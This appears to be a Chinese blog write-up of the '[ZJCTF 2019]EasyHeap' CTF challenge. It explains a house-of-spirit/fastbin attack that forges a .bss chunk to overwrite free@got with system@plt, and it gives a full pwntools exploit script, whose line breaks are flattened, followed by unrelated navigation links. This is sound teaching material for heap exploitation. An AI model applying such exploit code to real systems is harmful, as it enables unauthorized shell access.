当前位置: 首页 > news >正文

[ZJCTF 2019]EasyHeap

打算学 house of spirit,然后发现 house of spirit 其实在学 fastbin attack 时就学过了,只是不知道这个 trick 有这个名字,中途找到了这个题,来都来了就做了一下。

House of spirit

其实就是通过在目标地址伪造 fake chunk,然后通过 free 或者劫持 fd 指针的形式把 fake chunk 放到 bin 中,然后从 bin 中把 fake chunk 给拿出来,以此实现控制目标地址的效果。

sol

这题 buu 的环境上没法利用后门函数,所以需要自己 getshell

没开 pie,Partial RELRO,于是考虑覆盖 free@gotsystem@plt,尝试直接在 free@got 处伪造 fake chunk,发现没法错位构造纯净的 size 域,不过程序存在 heaparray.bss 段,用于存储 chunk 地址。首先想到可以用 unlink 劫持 heaparray,不过 heaparray 头上有 stdin,这是指向 FILE 结构体的指针,在 libc 段,后面又有一个为 0 的变量,可以错位构造一个 size = 0x70,直接在 .bss 段上伪造 fake chunk,劫持 heaparray,然后写入 free@got 的地址,再利用 edit 函数修改 free@got,最终 free 一个写入 /bin/sh\x00chunk 即可。

from pwn import *
#io = process('./pwn')
io = remote('node5.buuoj.cn',26581)
elf = ELF('./pwn')
def create(size,content):io.sendafter(b'Your choice :',b'1')io.sendafter(b'Size of Heap : ',str(size).encode())io.sendafter(b'Content of heap:',content)io.recvuntil(b'SuccessFul')
def edit(index,size,content):io.sendafter(b'Your choice :',b'2')io.sendafter(b'Index :',str(index).encode())io.sendafter(b'Size of Heap : ',str(size).encode())io.sendafter(b'Content of heap : ',content)io.recvuntil(b'Done !')
def delete(index):io.sendafter(b'Your choice :',b'3')io.sendafter(b'Index :',str(index).encode())io.recvuntil(b'Done !')
def Exploit():create(0x60,b'id=0')create(0x60,b'id=1')create(0x20,b'/bin/sh\x00') # id=2fake_chunk = 0x6020b0-3print(1)delete(1)payload = b'a'*0x60+p64(0x70)+p64(0x71)+p64(fake_chunk)edit(0,len(payload),payload)create(0x60,b'id=1')free_got = elf.got['free'];system_plt = elf.plt['system']create(0x60,b'\x00'*(0x6020E0-fake_chunk-0x10)+p64(free_got)) # id = 3edit(0,8,p64(system_plt))#delete(2)io.interactive()if __name__ == '__main__':Exploit()
http://www.jsqmd.com/news/519158/

相关文章:

  • Ubuntu14.04 Samba共享文件夹Windows访问失败的5个常见原因及解决方案
  • CC2530 ZigBee无线组网实战:从ZStack协议栈到智能农业应用
  • 从路径遍历到RCE:深度剖析Ollama CVE-2024-37032漏洞原理与利用链
  • Wireshark网卡列表消失?5分钟搞定NPCAP驱动加载问题
  • 探索A*、JPS+算法在多机器人与单机器人场景下结合DWA的改进与对比
  • 基于三次多项式的机械臂轨迹优化与MATLAB实现
  • Win10蓝屏CRITICAL_PROCESS_DIED:从错误诊断到系统修复全流程解析
  • 【银河麒麟高级服务器操作系统】安全配置基线实战:从问题定位到参数调优的深度解析
  • Vue3 + Element Plus 表格查询规范:条件管理、分页联动 + 避坑,标准化写法|表单与表格规范篇
  • 基于MBD的电动汽车VCU应用层软件:从模型到实车的V流程实践
  • 三菱SLMP通讯协议在工业自动化中的高效数据交换实践
  • ESXi 7.0 + Ubuntu 22.04 保姆级配置:从虚拟机创建到SSH内网穿透全流程
  • simulink模型燃料电池空气路建模与控制 包括:燃料电池电堆模型(阴极,阳极,水传递
  • 图像检索技术选型实战指南:从理论到落地的全景解析
  • AGV-WCS调度系统参考源码 功能比较全面的AGV调度系统,源码+数据库+讲义; C#语言
  • 突破“黑盒”与数据瓶颈:物理信息神经网络(PINN)重构科学计算新范式
  • 嵌入式内存管理“潜规则”:从.data/.bss段搬运,看ld脚本如何影响启动速度和功耗
  • 20-基于模型预测控制的海洋机器人协同路径跟踪控制:多智能体一致性及事件触发通信(ETC)的M...
  • 【笔试真题】- 美团-2026.03.21-算法岗
  • 手机也能做PCB设计?这款Droid PCB APP让你随时随地搞定电路板布局
  • php方案 io_uring 与 PHP 读文件
  • 致命疏漏:CVE-2026-27944撕开Nginx UI防线,未授权泄露背后的安全警示
  • 论文降AI后怎么检查专业术语有没有被改?逐项检查清单分享 - 还在做实验的师兄
  • 智赋金融 筑路未来——AI银行的中国实践、全球格局与进化路径
  • 永磁同步电机滑模观测器的无感控制仿真探索
  • 操作系统——程序、进程、线程
  • php方案 Direct I/O(O_DIRECT)应用场景如何在 PHP 中通过 FFI 实现并处理扇区对齐限制?
  • 自动驾驶避坑指南:开放空间规划算法在自主泊车中的5大常见问题
  • 高危无认证XXE突袭!GeoServer CVE-2025-58360漏洞深度剖析与防御前瞻
  • 如何用Notepad++和UABE修改Unity游戏配置表?5分钟搞定json/excel数据编辑